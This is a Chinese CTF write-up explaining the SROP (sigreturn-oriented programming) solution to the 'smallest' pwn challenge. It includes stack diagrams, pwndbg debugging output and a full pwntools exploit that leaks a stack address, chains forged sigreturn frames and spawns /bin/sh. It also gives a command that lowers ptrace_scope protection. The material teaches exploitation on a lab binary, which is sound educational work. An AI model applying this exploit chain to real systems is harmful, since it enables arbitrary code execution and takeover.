ctfwiki高级栈溢出部分题解
SROP 说在前头 本文主要记录对于SROP的例题smallest的解法以及详细调试流程 对于SROP原理的学习还请参考下方大佬们的文章
1 2 3 4 5 6 7 原理 <https : <https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/> <https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.4_pwn_backdoorctf2017_fun_signals#srop> 调试 重点看后一个小时 <https://www.bilibili.com/video/BV1444y1W71h/?buvid=XX5FC8453DF96FAD4F497BD710DC3F2C7EBBE&is_story_h5=false&mid=UDTW7FqRSfajqeacM5JjPA%3D%3D&p=1&plat_id=116&share_from=ugc&share_medium=android&share_plat=android&share_session_id=e388ff6b-55ba-4323-891e-a723ade2c6e6&share_source=WEIXIN&share_tag=s_i×tamp=1680753732&unique_k=nmY6JTR&up_id=471708905&vd_source=8686d2eff3478033f732d6a4c468b8e9>
对于例题而言 smallest最合适不过了 代码量小 便于调试 由于经常性的调试 最后还是放弃了pwndocker 因为ssh类连接要去attach很麻烦
1 echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
记得执行一下 如果gdb报错的时候
调试审计 从这开始默认已掌握SROP的原理 不懂请多看多调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .text :00000000004000B0 .text :00000000004000B0 public start .text :00000000004000B0 start proc near ; DATA XREF : LOAD :0000000000400018 ↑o .text :00000000004000B0 xor rax, rax .text :00000000004000B3 mov edx, 400h ; count .text :00000000004000B8 mov rsi, rsp ; buf .text :00000000004000BB mov rdi, rax ; fd .text :00000000004000BE syscall ; LINUX - sys_read .text :00000000004000C0 retn .text :00000000004000C0 start endp .text :00000000004000C0 .text :00000000004000C0 _text ends .text :00000000004000C0 .text :00000000004000C0 .text :00000000004000C0 end start
SROP需要能对rax操作 有syscall以及ret 可以看到麻雀虽小五脏俱全 该有的他都有 对于SROP而言我们需要的是往rsp高地址写入寄存器数据 以达到伪造栈帧的作用
系统调用
调用号
函数原型
read
0
read(int fd, void *buf, size_t count)
write
1
write(int fd, const void *buf, size_t count)
sigreturn
15
int sigreturn(…)
execve
59
execve(const char *filename, char *const argv[],char *const envp[])
以上是我们此次解题所需要用到的内容 请注意此处所说的调用号值 我们需要到时候赋值给rax
1 .text :00000000004000B0 xor rax, rax
对于此处代码而言 xor指令同取0 异取1 因此题目自带的系统调用就是read 再根据64位传参规则 可以得出start调用的read指令如下
1 2 read (0 ,rsp,0x400 )从rsp指针处往高地址写入0x400 个数据 fd一般不管他
我们确实能够写入数据 但是如果光用read函数的话 我们不知道rsp指向哪 因此我们还需要有能够打印栈内数据的一个函数 是的那就是write 之前在libc泄漏时打印got表地址就经常用它(我之前还以为write这名字咋也应该是写入数据的) 不过write的第三个参数可以不要 那么他就会打印所有的
1 2 3 read函数特性 1. read函数是逐字节覆盖栈内数据的2. read函数会将读取的字节数返回给rax寄存器
如果我们输入一个字节 那么经过read的读入后 我们的rax会变为1 可是我们还需要跳过xor的指令 不然rax还会变成0 因此我们可以先利用read函数 读入2个程序的开始地址4000B0 那么在第一次ret之后 rsp就会指向第2个4000B0 我们再发送一个’\xb3’即可 注意是send而不是sendline sendline会跟一个\x0a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 低地址 低地址 | | | | | | | | | | | | | | | | | | | | +-----------------+<---rsp | | | 04000B0 | | | +-----------------+ +-----------------+<---rsp | 04000B0 | | 04000B3 | +-----------------+ +-----------------+ | | | | | | | | | | | | |-----------------| |-----------------| 高地址 高地址
栈结构如此的话 返回时rax记为1 且执行4000b3处指令 成功跳过置空rax 只不过从后期来看 在这步之后我们还需要继续写入fake frame 因此我们压入的需要3个4000b0 在此结构图不重新画了 同时不要忘了我们调用了write 和read一样 从rsp开始读0x400个字节数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] sh = process ('./smallest' ) gdb.attach (sh) start_addr = 0x00000000004000B0 syscall_addr = 0x00000000004000be payload = p64 (start_addr) * 3 sh.send (payload) payload = '\\xb3' sh.send (payload) ret_addr = u64 (sh.recv ()[8 :15 ].ljust (8 ,'\\0' )) #前8 个是我们自己设置的第三个start_addr print hex (ret_addr) #ret_addr = 0x7fffc60503f8 [DEBUG ] Received 0x400 bytes : 00000000 b0 00 40 00 00 00 00 00 f8 03 05 c6 ff 7f 00 00 │··@·│····│····│····│ 00000010 24 04 05 c6 ff 7f 00 00 31 04 05 c6 ff 7f 00 00 │$···│····│1 ···│····│ 00000020 51 04 05 c6 ff 7f 00 00 66 04 05 c6 ff 7f 00 00 │Q···│····│f···│····│ 00000030 77 04 05 c6 ff 7f 00 00 85 04 05 c6 ff 7f 00 00 │w···│····│····│····│ 00000040 90 04 05 c6 ff 7f 00 00 0f 05 05 c6 ff 7f 00 00 │····│····│····│····│ 00000050 1a 05 05 c6 ff 7f 00 00 2b 05 05 c6 ff 7f 00 00 │····│····│+···│····│ 0000 | 0x7fffc604f270 --> 0x4000b0 (xor rax,rax)0008 | 0x7fffc604f278 --> 0x7fffc60503f8 ("GNOME_DESKTOP_SESSION_ID=this-is-deprecated" )0016 | 0x7fffc604f280 --> 0x7fffc6050424 ("WINDOWPATH=2" )0024 | 0x7fffc604f288 --> 0x7fffc6050431 ("LESSOPEN=| /usr/bin/lesspipe %s" )0032 | 0x7fffc604f290 --> 0x7fffc6050451 ("XDG_SESSION_TYPE=x11" )0040 | 0x7fffc604f298 --> 0x7fffc6050466 ("QT_IM_MODULE=xim" )0048 | 0x7fffc604f2a0 --> 0x7fffc6050477 ("LOGNAME=apple" )0056 | 0x7fffc604f2a8 --> 0x7fffc6050485 ("USER=apple" )
估摸着刚刚有人有疑惑 为啥04000b0最后的1个字节却是最开始修改的 原因在于数据是小端序 反过来存储的 对着栈结构一看就知道 第二个问题是我当时遇到过的 因为往后要往栈内写入大量数据 但是这样不是会破坏栈结构吗 那样某种意义上不是和栈溢出一样吗 贴一个后面写入frame后的栈结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Before :0208 | 0x7ffc092dfb38 --> 0x7ffc092e16ea ("USERNAME=apple" )0216 | 0x7ffc092dfb40 --> 0x7ffc092e16f9 ("XDG_SESSION_DESKTOP=ubuntu" )0224 | 0x7ffc092dfb48 --> 0x7ffc092e1714 ("XDG_RUNTIME_DIR=/run/user/1000" )0232 | 0x7ffc092dfb50 --> 0x7ffc092e1733 ("SSH_AUTH_SOCK=/run/user/1000/keyring/ssh" )0240 | 0x7ffc092dfb58 --> 0x7ffc092e175c ("VTE_VERSION=5202" )0248 | 0x7ffc092dfb60 --> 0x7ffc092e176d ("GDMSESSION=ubuntu" )0256 | 0x7ffc092dfb68 --> 0x7ffc092e177f ("XMODIFIERS=@im=ibus" )0264 | 0x7ffc092dfb70 --> 0x7ffc092e1793 ("TEXTDOMAINDIR=/usr/share/locale/" )0272 | 0x7ffc092dfb78 --> 0x7ffc092e17b4 ("GNOME_SHELL_SESSION_MODE=ubuntu" )0280 | 0x7ffc092dfb80 --> 0x7ffc092e17d4 ("XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg" )0288 | 0x7ffc092dfb88 --> 0x7ffc092e1801 ("XDG_CURRENT_DESKTOP=ubuntu:GNOME" )After :0208 | 0x7ffc092dfb38 --> 0x0 0216 | 0x7ffc092dfb40 --> 0x0 0224 | 0x7ffc092dfb48 --> 0x0 0232 | 0x7ffc092dfb50 --> 0x0 0240 | 0x7ffc092dfb58 --> 0x0 0248 | 0x7ffc092dfb60 --> 0x0 0256 | 0x7ffc092dfb68 --> 0x0 0264 | 0x7ffc092dfb70 --> 0x7ffc092e1793 ("TEXTDOMAINDIR=/usr/share/locale/" )0272 | 0x7ffc092dfb78 --> 0x7ffc092e17b4 ("GNOME_SHELL_SESSION_MODE=ubuntu" )0280 | 0x7ffc092dfb80 --> 0x7ffc092e17d4 ("XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg" )0288 | 0x7ffc092dfb88 --> 0x7ffc092e1801 ("XDG_CURRENT_DESKTOP=ubuntu:GNOME" )
确实没错 不过对于系统调用而言 在正常的流程中是会保留进程栈的上下文的 只不过我们为了实现攻击 直接从寄存器数据入栈开始了 一般的调用是会保存、恢复数据的
Frame构造 frame的构造就按部就班了
1 2 3 4 5 6 7 8 9 10 read = SigreturnFrame () read.rax = constants.SYS_read read.rdi = 0 read.rsi = stack_addr read.rdx = 0x400 read.rsp = stack_addr read.rip = syscall_ret read_frame_payload = p64 (start_addr) + p64 (syscall_ret) + str (read) sh.send (read_frame_payload) sh.send (read_frame_payload[8 :8 +15 ])
首先我们构造了一个read(0,stack_addr,0x400)的frame 并且利用之前传入的第三个start_addr 调用系统自带的read函数 将这个frame压入栈中 只不过压入伪造的frame之后 还需要将rax设置为0xF
1 2 3 4 5 6 7 8 9 10 pwndbg> stack 25 00 :0000 │ rsi rsp 0x7ffc109bcb18 —▸ 0x4000b0 ◂— xor rax, rax01 :0008 │ 0x7ffc109bcb20 —▸ 0x4000be ◂— syscall 02 :0010 │ 0x7ffc109bcb28 ◂— 0x0 ... ↓ 10 :0080 │ 0x7ffc109bcb98 —▸ 0x7ffc109bd3f8 ◂— 'GNOME_DESKTOP_SESSION_ID=this-is-deprecated' 11 :0088 │ 0x7ffc109bcba0 ◂— 0x0 ... ↓ 13 :0098 │ 0x7ffc109bcbb0 ◂— 0x400 14 :00a0│ 0x7ffc109bcbb8 ◂— 0x0
由于我们的syscall后接的是ret 这个栈是我们syscall时压入的 那么接的ret会将rsp所在位置pop给rip 成为ret地址 那么我们将其设置为start_addr后 就又可以调用read了 此时我们再读入一次payload 去掉前面的start_addr(因为已经pop了) 再发送15字节 即可完成系统调用 当然还有syscall 不用说
1 2 3 4 5 6 7 8 9 execve = SigreturnFrame () execve.rax =constants.SYS_execve execve.rdi =? execve.rsi =0x0 execve.rdx =0x0 execve.rsp =stack_addr execve.rip =syscall_ret execv_frame_payload=p64 (start_addr)+p64 (syscall_ret)+str (execve) shell = execv_frame_payload + '/bin/sh\\x00'
execve的也同理了 只不过单有execve还不行 我们的/bin/sh字符串地址还需要找到 也就是rdi处所需要的值 rdi处的值我们可以不填 先发送payload 然后观察偏移量
1 2 3 4 5 6 [+] leak stack addr :0x7ffc1d7c33f8 19 :00c8│ 0x7ffc1d7c34c8 ◂— 0x0 ... ↓ 20 :0100 │ 0x7ffc1d7c3500 ◂— 0x68732f6e69622f 21 :0108 │ 0x7ffc1d7c3508 ◂— 0x58006e69622f7061
0x500-0x3f8=0x108 于是execve.rdi=stack_addr + 0x108即可 完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #coding=utf8 from pwn import *sh = process ('./smallest' ) small = ELF ('./smallest' ) context.arch = 'amd64' #context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] context.log_level = 'debug' syscall_ret = 0x00000000004000BE start_addr = 0x00000000004000B0 #gdb.attach (sh) payload = p64 (start_addr) * 3 sh.send (payload) sh.send ('\\xb3' ) stack_addr = u64 (sh.recv ()[8 :16 ]) log.success ('leak stack addr :' + hex (stack_addr)) read = SigreturnFrame () read.rax = constants.SYS_read read.rdi = 0 read.rsi = stack_addr read.rdx = 0x400 read.rsp = stack_addr read.rip = syscall_ret read_frame_payload = p64 (start_addr) + p64 (syscall_ret) + str (read) sh.send (read_frame_payload) sh.send (read_frame_payload[8 :8 +15 ]) execve = SigreturnFrame () execve.rax =constants.SYS_execve execve.rdi =stack_addr + 0x108 execve.rsi =0x0 execve.rdx =0x0 execve.rsp =stack_addr execve.rip =syscall_ret execv_frame_payload=p64 (start_addr)+p64 (syscall_ret)+str (execve) execv_frame_payload_all=execv_frame_payload+'/bin/sh\\x00' sh.send (execv_frame_payload_all) sh.send (execv_frame_payload_all[8 :8 +15 ]) sh.interactive ()
当然 rdi那边也可以随便设置个值 比如0x150 然后这样
1 2 3 execve.rdi =stack_addr + 0x150 print len (frame_payload) payload = frame_payload + (0x150 - len (frame_payload)) * '\\x00' + '/bin/sh\\x00'
解个惑 我相信有人会有疑问 为什么要系统调用一个read 再输入系统调用的execve呢 干脆直接用第三个构造的start地址来输入execve的栈帧不行吗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [+] leak stack addr = 0x7ffd4c3893f8 pwndbg> stack 50 00 :0000 │ rsi rsp 0x7ffd4c388610 —▸ 0x4000be ◂— syscall 01 :0008 │ 0x7ffd4c388618 ◂— 0x0 ... ↓ 0e :0070 │ 0x7ffd4c388680 —▸ 0x7ffd4c388670 ◂— 0x0 0f :0078 │ 0x7ffd4c388688 ◂— 0x0 ... ↓ 13 :0098 │ 0x7ffd4c3886a8 ◂— 0x3b 14 :00a0│ 0x7ffd4c3886b0 ◂— 0x0 15 :00a8│ 0x7ffd4c3886b8 —▸ 0x7ffd4c3893f8 ◂— 'GNOME_DESKTOP_SESSION_ID=this-is-deprecated' 16 :00b0│ 0x7ffd4c3886c0 —▸ 0x4000be ◂— syscall 17 :00b8│ 0x7ffd4c3886c8 ◂— 0x0 18 :00c0│ 0x7ffd4c3886d0 ◂— 0x33 19 :00c8│ 0x7ffd4c3886d8 ◂— 0x0 ... ↓ 20 :0100 │ 0x7ffd4c388710 ◂— 0x68732f6e69622f 21 :0108 │ 0x7ffd4c388718 —▸ 0x7ffd4c3897b4 ◂— 'GNOME_SHELL_SESSION_MODE=ubuntu'
这是我用自带的read函数 写入的execve栈帧 可以看到我们的start_addr与syscall处值相差很大 更关键的是每次这个值都不一样的大 再来看看用系统调用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [+] leak stack addr = 0x7ffe0cdef3f8 pwndbg> stack 25 00 :0000 │ rsi rsp 0x7ffe0cdef400 —▸ 0x4000be ◂— syscall 01 :0008 │ 0x7ffe0cdef408 ◂— 0x0 ... ↓ 0e :0070 │ 0x7ffe0cdef470 —▸ 0x7ffe0cdef500 ◂— 0x68732f6e69622f 0f :0078 │ 0x7ffe0cdef478 ◂— 0x0 ... ↓ 13 :0098 │ 0x7ffe0cdef498 ◂— 0x3b 14 :00a0│ 0x7ffe0cdef4a0 ◂— 0x0 15 :00a8│ 0x7ffe0cdef4a8 —▸ 0x7ffe0cdef3f8 —▸ 0x4000b0 ◂— xor rax, rax16 :00b0│ 0x7ffe0cdef4b0 —▸ 0x4000be ◂— syscall 17 :00b8│ 0x7ffe0cdef4b8 ◂— 0x0 18 :00c0│ 0x7ffe0cdef4c0 ◂— 0x33
每次都只差0x08 原因如下 我得贴一段很长的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 syscall read 输入前栈结构 0000 | 0x7ffc5e3085a8 --> 0x7ffc5e30a3f8 ("GNOME_DESKTOP_SESSION_ID=this-is-deprecated" )0008 | 0x7ffc5e3085b0 --> 0x7ffc5e30a424 ("WINDOWPATH=2" )0016 | 0x7ffc5e3085b8 --> 0x7ffc5e30a431 ("LESSOPEN=| /usr/bin/lesspipe %s" )0024 | 0x7ffc5e3085c0 --> 0x7ffc5e30a451 ("XDG_SESSION_TYPE=x11" )0032 | 0x7ffc5e3085c8 --> 0x7ffc5e30a466 ("QT_IM_MODULE=xim" )0040 | 0x7ffc5e3085d0 --> 0x7ffc5e30a477 ("LOGNAME=apple" )0048 | 0x7ffc5e3085d8 --> 0x7ffc5e30a485 ("USER=apple" )输入后栈结构 0000 | 0x7ffc5e3085a8 --> 0x4000b0 (xor rax,rax)0008 | 0x7ffc5e3085b0 --> 0x4000be (syscall)0016 | 0x7ffc5e3085b8 --> 0x0 0024 | 0x7ffc5e3085c0 --> 0x0 0032 | 0x7ffc5e3085c8 --> 0x0 0040 | 0x7ffc5e3085d0 --> 0x0 0048 | 0x7ffc5e3085d8 --> 0x0
可以看到 对于syscall的read而言 他是直接往当前rsp在的指针位置开始写入覆盖 而对于sigreturn的read而言的话
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 sigreturn read 输入前栈结构 0000 | 0x7ffd947fd3f8 ("GNOME_DESKTOP_SESSION_ID=this-is-deprecated" )0008 | 0x7ffd947fd400 ("SKTOP_SESSION_ID=this-is-deprecated" )0016 | 0x7ffd947fd408 ("SSION_ID=this-is-deprecated" )0024 | 0x7ffd947fd410 ("=this-is-deprecated" )0032 | 0x7ffd947fd418 ("-deprecated" )0040 | 0x7ffd947fd420 --> 0x444e495700646574 ('ted' )0048 | 0x7ffd947fd428 ("OWPATH=2" )输入后栈结构 0000 | 0x7ffd947fd3f8 --> 0x4000b0 (xor rax,rax)0008 | 0x7ffd947fd400 --> 0x4000be (syscall)0016 | 0x7ffd947fd408 --> 0x0 0024 | 0x7ffd947fd410 --> 0x0 0032 | 0x7ffd947fd418 --> 0x0 0040 | 0x7ffd947fd420 --> 0x0 0048 | 0x7ffd947fd428 --> 0x0
我们看到调用了sigreturn的read之后 我们的栈跳到了真正存储这些数据的栈地址 也就是我们之前获取的stack_addr里存放的指针所指向的地址 因此我们写入的binsh地址减去他就一定是定值了 这才是sigreturn的read在此题的大作用
提速 对于frame的构造 我们如果能够快速知道有哪些寄存器是我们能够控制的 那么对于我的exp的编写速度是一个提升
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 apple@ubuntu ~/Desktop > ipython Python 2.7 .17 (default , Mar 8 2023 , 18 :40 :28 ) Type "copyright" , "credits" or "license" for more information.IPython 5.5 .0 -- An enhanced Interactive Python .? -> Introduction and overview of IPython 's features. %quickref -> Quick reference. help -> Python' s own help system.object? -> Details about 'object' , use 'object??' for extra details. In [1 ]: from pwn import *In [2 ]: context.arch = 'amd64' In [3 ]: s = SigreturnFrame ()In [4 ]: s.__dict__ Out [4 ]: {'_regs' : ['uc_flags' , '&uc' , 'uc_stack.ss_sp' , 'uc_stack.ss_flags' , 'uc_stack.ss_size' , 'r8' , 'r9' , 'r10' , 'r11' , 'r12' , 'r13' , 'r14' , 'r15' , 'rdi' , 'rsi' , 'rbp' , 'rbx' , 'rdx' , 'rax' , 'rcx' , 'rsp' , 'rip' , 'eflags' , 'csgsfs' , 'err' , 'trapno' , 'oldmask' , 'cr2' , '&fpstate' , '__reserved' , 'sigmask' ], 'arch' : 'amd64' , 'endian' : 'little' , 'size' : 248 }